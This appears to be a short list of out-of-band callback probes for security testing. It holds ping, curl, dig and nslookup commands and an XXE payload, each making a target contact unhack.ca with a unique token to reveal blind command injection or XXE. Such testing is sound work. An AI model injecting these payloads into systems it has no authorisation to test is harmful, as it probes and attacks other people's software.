$ ping -c1 -p 009bc9eb9723f0523788b329749f3f00 unhack.ca
$ curl http://unhack.ca/p/9bc9eb9723f0523788b329749f3f
$ dig 9bc9eb9723f0523788b329749f3f @unhack.ca
$ dig 9bc9eb9723f0523788b329749f3f.ns.unhack.ca
C:\> nslookup 9bc9eb9723f0523788b329749f3f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9bc9eb9723f0523788b329749f3f">]> <foo>&xxe;</foo>